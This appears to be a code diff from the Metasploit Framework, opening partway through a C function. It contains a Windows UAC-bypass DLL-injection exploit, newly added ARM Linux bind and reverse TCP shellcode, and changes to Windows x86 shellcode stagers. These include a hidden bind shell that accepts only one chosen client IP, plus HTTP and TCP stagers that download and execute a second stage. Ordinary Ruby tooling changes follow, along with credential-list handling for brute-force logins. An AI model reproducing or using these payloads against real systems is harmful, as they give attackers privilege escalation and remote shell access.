dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
}
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
}
}
}

30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file → Executable file
View File

@ -5,4 +5,32 @@
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
typedef struct _BypassUacPaths
{
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDirSysWow64[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szDllTempPath[MAX_PATH];
} BypassUacPaths;
EXTERN_C void exploit(BypassUacPaths const * const paths);

19
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file → Executable file
View File

@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
if (NULL != lpReserved)
{
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
exploit((BypassUacPaths*)lpReserved);
}
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
default:
break;
}
return bReturnValue;
return TRUE;
}

View File

@ -0,0 +1,102 @@
@@
@
@ Name: single_sock_bind
@ Qualities: -
@ Authors: civ, repmovsb
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
@
@ This source is built from the payload module (instead of other way around...)
@
@ Assemble with: as single_sock_bind.s -o single_sock_bind.o
@ Link with: ld single_sock_bind.o -o single_sock_bind
@
@ Meta-Information:
@
@ meta-shortname=Linux Bind TCP
@ meta-description=Listen on a port for a connection and run a second stage
@ meta-authors=civ, repmovsb
@ meta-os=linux
@ meta-arch=armle
@ meta-category=singles
@ meta-connection-type=bind
@ meta-name=bind_tcp
@@
.text
.globl _start
_start:
@ int socket(int domain, int type, int protocol);
@ socket(2,1,6)
mov r0, #2
mov r1, #1
mov r2, #6
mov r7, #1
lsl r7, r7, #8
add r7, r7, #25
svc 0
mov r6, r0
@ bind
add r1, pc, #128
mov r2, #16
mov r7, #1
lsl r7, r7, #8
add r7, r7, #26
svc 0
@ listen
mov r0, r6
mov r7, #1
lsl r7, r7, #8
add r7, r7, #28
svc 0
@ accept
mov r0, r6
sub r1, r1, r1
sub r2, r2, r2
mov r7, #1
lsl r7, r7, #8
add r7, r7, #29
svc 0
@ dup
mov r6, r0
mov r1, #2
loop:
mov r0, r6
mov r7, #63
svc 0
subs r1, r1, #1
bpl loop
@ execve(SHELL, [ARGV0], [NULL])
add r0, pc, #36
eor r4, r4, r4
push {r4}
mov r2, sp
add r4, pc, #36
push {r4}
mov r1, sp
mov r7, #11
svc 0
@ addr
@ port: 4444 , sin_fam = 2
.word 0x5c110002
@ ip: 0.0.0.0
.word 0x00000000
@ SHELL
.word 0x00000000 @ the shell goes here!
.word 0x00000000
.word 0x00000000
.word 0x00000000
@ ARGV0
.word 0x00000000 @ the args!
.word 0x00000000
.word 0x00000000
.word 0x00000000

View File

@ -0,0 +1,93 @@
@@
@
@ Name: single_sock_reverse
@ Qualities: -
@ Authors: civ, repmovsb
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux reverse TCP shellcode for ARM LE architecture.
@
@ This source is built from the payload module (instead of other way around...)
@
@ Assemble with: as single_sock_reverse.s -o single_sock_reverse.o
@ Link with: ld single_sock_reverse.o -o single_sock_reverse
@
@ Meta-Information:
@
@ meta-shortname=Linux Reverse TCP
@ meta-description=Connect back to the framework and run a second stage
@ meta-authors=civ, repmovsb
@ meta-os=linux
@ meta-arch=armle
@ meta-category=singles
@ meta-connection-type=reverse
@ meta-name=reverse_tcp
@@
.text
.globl _start
_start:
@ int socket(int domain, int type, int protocol);
@ socket(2,1,6)
mov r0, #2
mov r1, #1
add r2, r1, #5
mov r7, #140
add r7, r7, #141
svc 0
@ connect(soc, socaddr, 0x10)
mov r6, r0
add r1, pc, #96
mov r2, #16
mov r7, #141
add r7, r7, #142
svc 0
@ dup2(soc,0) @stdin
mov r0, r6
mov r1, #0
mov r7, #63
svc 0
@ dup2(soc,1) @stdout
mov r0, r6
mov r1, #1
mov r7, #63
svc 0
@ dup2(soc,2) @stderr
mov r0, r6
mov r1, #2
mov r7, #63
svc 0
@ execve(SHELL, [ARGV0], [NULL])
add r0, pc, #36
eor r4, r4, r4
push {r4}
mov r2, sp
add r4, pc, #36
push {r4}
mov r1, sp
mov r7, #11
svc 0
@ addr
@ port: 4444 , sin_fam = 2
.word 0x5c110002
@ ip: 192.168.1.1
.word 0x0101a8c0
@.word 0x0100007f
@ SHELL
.word 0x00000000 @ the shell goes here!
.word 0x00000000
.word 0x00000000
.word 0x00000000
@ ARGV0
.word 0x00000000 @ the args!
.word 0x00000000
.word 0x00000000
.word 0x00000000

View File

@ -2,7 +2,7 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 137 bytes
; Size: 130 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
@ -17,8 +17,8 @@
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, [fs:eax+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
@ -26,7 +26,6 @@ next_mod: ;
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
@ -41,10 +40,10 @@ not_lowercase: ;
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
mov ecx, [edx+60] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
@ -62,7 +61,6 @@ get_next_func: ;
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
@ -94,7 +92,7 @@ finish:
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list

View File

@ -23,10 +23,16 @@ bind_tcp:
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
push byte 8
pop ecx
push_8_loop:
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
loop push_8_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
@ -35,8 +41,7 @@ bind_tcp:
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
; bind to 0.0.0.0, pushed earlier [4]
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
@ -45,13 +50,13 @@ bind_tcp:
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
push ebx ; backlog
; backlog, pushed earlier [3]
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
push ebx ; we set length for the sockaddr struct to zero
push ebx ; we dont set the optional sockaddr param
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call ebp ; accept( s, 0, 0 );

View File

@ -0,0 +1,99 @@
;-----------------------------------------------------------------------------;
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (December 2014)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
; Hidden ipknock Support ----------
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
push 0x3002 ; level at which the option is defined: SOL_SOCKET
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
push edi ; socket descriptor
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
condition:
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
call wsaaccept ; push the start of the condition function on the stack
mov eax, DWORD [esp+4] ;
mov eax, DWORD [eax+4] ;
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
jz equal ; if equal, eax = 0
xor eax, eax
inc eax ; if not equal, eax = 1
equal:
mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
; This value will be read it after calling WSAaccept since
; WSAaccept would always return FFFFFFFF when the IP is spoofed
retn 0x20 ; some stack alignment needed to return to mswsock
wsaaccept:
push ebx ; length of the sockaddr = nul
push ebx ; struct sockaddr = nul
push edi ; socket descriptor
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
cmp DWORD [esp+4], 0
jnz condition ; Check if the IP knocked is allowed
inc eax
jnz connection ; Check if the 3-Way Handshake is successfully established
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
push ebx ; fnCondition = 0
jmp wsaaccept
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
connection:
dec eax ; restore eax
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );

View File

@ -38,7 +38,6 @@ read_more: ;
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received
test esi, esi ; test length
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage

View File

@ -48,8 +48,7 @@ read_more: ;
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received
test esi, esi ; test length
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
pop ebx ; address of S-box
pop ecx ; stage length

View File

@ -35,48 +35,52 @@ load_wininet:
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx,ebx
set_retry:
push byte 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push dword 4444 ; PORT
jmp short dbl_get_server_host ; push pointer to HOSTNAME
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
db "/12345", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
httpopenrequest:
push ebx ; dwContext (NULL)
; dwContext (NULL) [8]
push HTTP_OPEN_FLAGS ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
jmp get_server_uri ; push pointer to url
got_server_uri:
push edi ; server URI
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
set_retry:
push byte 0x10
pop edi
send_request:
%ifdef ENABLE_SSL
@ -120,15 +124,6 @@ failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call got_server_uri
server_uri:
db "/12345", 0x00
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
@ -164,7 +159,8 @@ download_more:
execute_stage:
ret ; dive into the stored stage address
get_server_host:
got_server_uri:
pop edi
call got_server_host
server_host:

View File

@ -51,10 +51,9 @@ try_connect:
jz short connected
port_bump:
xor eax, eax
mov word ax, [esi+2]
xchg ah,al
inc ax
inc eax
xchg ah,al
mov word [esi+2], ax
jmp short try_connect

View File

@ -36,7 +36,10 @@ reverse_tcp:
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
get_address:
jmp get_hostname
call got_hostname
hostname:
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
got_hostname:
push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" )
@ -67,11 +70,5 @@ failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
get_hostname:
call got_hostname
hostname:
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
connected:

View File

@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (Dec 2014)
; Size: 359 bytes
; Build: >build.py stager_hidden_bind_tcp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_hidden_bind_ipknock.asm"
; By here we will have performed the bind_tcp connection and EDI will be our socket.
%include "./src/block/block_recv.asm"
; By now we will have received in the second stage into a RWX buffer and be executing it

View File

@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (27 May 2014)
; Size: 352 bytes
; Build: >build.py stager_hidden_bind_tcp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_hidden_bind_tcp.asm"
; By here we will have performed the bind_tcp connection and EDI will be our socket.
%include "./src/block/block_recv.asm"
; By now we will have received in the second stage into a RWX buffer and be executing it

View File

@ -1,12 +1,9 @@
Feature: Help command
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Given I run `msfconsole --defer-module-loads -x help -x exit`
Scenario: The 'help' command's output
When I type "help"
And I type "exit"
Then the output should contain:
"""
Core Commands

View File

@ -48,9 +48,7 @@ Feature: `msfconsole` `database.yml`
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test --yaml command_line.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
When I run `msfconsole --defer-module-loads --environment test --execute-command exit --yaml command_line.yml`
Then the output should contain "command_line_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
@ -84,9 +82,7 @@ Feature: `msfconsole` `database.yml`
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
Then the output should contain "environment_metasploit_framework_test"
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
@ -113,9 +109,7 @@ Feature: `msfconsole` `database.yml`
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
Then the output should contain "user_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
@ -133,9 +127,7 @@ Feature: `msfconsole` `database.yml`
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
Then the output should contain "project_metasploit_framework_test"
@ -148,10 +140,7 @@ Feature: `msfconsole` `database.yml`
And a mocked home directory
And I cd to "../.."
And the project "database.yml" does not exist
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "db_status"
And I type "exit"
When I run `msfconsole --defer-module-loads --environment test --execute-command db_status --execute-command exit`
Then the output should not contain "command_line_metasploit_framework_test"
And the output should not contain "environment_metasploit_framework_test"
And the output should not contain "user_metasploit_framework_test"
@ -159,9 +148,6 @@ Feature: `msfconsole` `database.yml`
And the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
When I run `msfconsole --defer-module-loads --execute-command db_status --execute-command exit`
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -1,5 +1,5 @@
# Has to be the first file required so that all other files show coverage information
require 'simplecov'
# @note `require 'simplecov'` is not used here because all features currently use external `msfconsole` process, so only
# that child process needs to load 'simplecov'.
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a

View File

@ -4,6 +4,8 @@ Before do
@aruba_timeout_seconds = 8.minutes
end
# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed
unless Bundler.settings.without.include?(:coverage)
Before do |scenario|
command_name = case scenario
when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline
@ -22,5 +24,6 @@ Before do |scenario|
simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup')
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
set_env('RUBYOPT', "-r#{simplecov_setup_pathname} #{ENV['RUBYOPT']}")
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
end
end

View File

@ -1,11 +1,16 @@
# @note this file is loaded in env.rb to setup simplecov using RUBYOPTs for child processes
simplecov_command_name = ENV['SIMPLECOV_COMMAND_NAME']
# will not be set if hook does not run because `bundle install --without coverage`
if simplecov_command_name
require 'simplecov'
require 'pathname'
root = Pathname(__FILE__).expand_path.parent.parent.parent
SimpleCov.command_name(ENV['SIMPLECOV_COMMAND_NAME'])
SimpleCov.command_name(simplecov_command_name)
SimpleCov.root(root)
load root.join('.simplecov')
end

View File

@ -61,7 +61,7 @@ class X86_64
addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 }
addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 }
addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32
addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32
addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 }
end

View File

@ -8,7 +8,15 @@ require 'metasploit/framework/command/base'
# Based on pattern used for lib/rails/commands in the railties gem.
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
# Provides an animated spinner in a seperate thread.
#
# See GitHub issue #4147, as this may be blocking some
# Windows instances, which is why Windows platforms
# should simply return immediately.
def spinner
return if Rex::Compat.is_windows
return if Rex::Compat.is_cygwin
return if $msf_spinner_thread
$msf_spinner_thread = Thread.new do
$stderr.print "[*] Starting the Metasploit Framework console..."
@ -61,6 +69,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options['DatabaseEnv'] = options.environment
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config
driver_options['DeferModuleLoads'] = options.modules.defer_loads
driver_options['Defanged'] = options.console.defanged
driver_options['DisableBanner'] = options.console.quiet
driver_options['DisableDatabase'] = options.database.disable

View File

@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
class Metasploit::Framework::CredentialCollection
# @!attribute additional_privates
# Additional privates to be combined
#
# @return [Array<String>]
attr_accessor :additional_privates
# @!attribute additional_publics
# Additional public to be combined
#
# @return [Array<String>]
attr_accessor :additional_publics
# @!attribute blank_passwords
# Whether each username should be tried with a blank password
# @return [Boolean]
@ -60,6 +72,26 @@ class Metasploit::Framework::CredentialCollection
public_send("#{attribute}=", value)
end
self.prepended_creds ||= []
self.additional_privates ||= []
self.additional_publics ||= []
end
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
end
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str
end
# Add {Credential credentials} that will be yielded by {#each}
@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
if user_file.present?
@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
end
end
@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
end
end
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end

View File

@ -57,8 +57,8 @@ module Metasploit
inclusion: { in: [true, false] }
validates :bruteforce_speed,
presence: false,
numericality: {
allow_nil: true,
only_integer: true,
greater_than_or_equal_to: 0,
less_than_or_equal_to: 5

View File

@ -85,6 +85,7 @@ class Metasploit::Framework::ParsedOptions::Base
options.framework.config = nil
options.modules = ActiveSupport::OrderedOptions.new
options.modules.defer_loads = false
options.modules.path = nil
@options = options
@ -155,6 +156,13 @@ class Metasploit::Framework::ParsedOptions::Base
option_parser.separator ''
option_parser.separator 'Module options'
option_parser.on(
'--defer-module-loads',
'Defer module loading unless explicitly asked.'
) do
options.modules.defer_loads = true
end
option_parser.on(
'-m',
'--module-path DIRECTORY',

View File

@ -0,0 +1,12 @@
# Records the Bundler-style dependency constraint for the version of Rails to be
# used with the Metasploit Framework and Metasploit Pro.
module Metasploit
module Framework
module RailsVersionConstraint
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
# Rails 3.X that are removed in Rails 4.
RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ]
end
end
end

View File

@ -2,8 +2,8 @@ module Metasploit
module Framework
module Version
MAJOR = 4
MINOR = 10
PATCH = 1
MINOR = 11
PATCH = 0
PRERELEASE = 'dev'
end

View File

@ -151,17 +151,19 @@ protected
rescue ::Exception => e
mod.error = e
mod.print_error("Auxiliary failed: #{e.class} #{e}")
if(e.class.to_s != 'Msf::OptionValidateError')
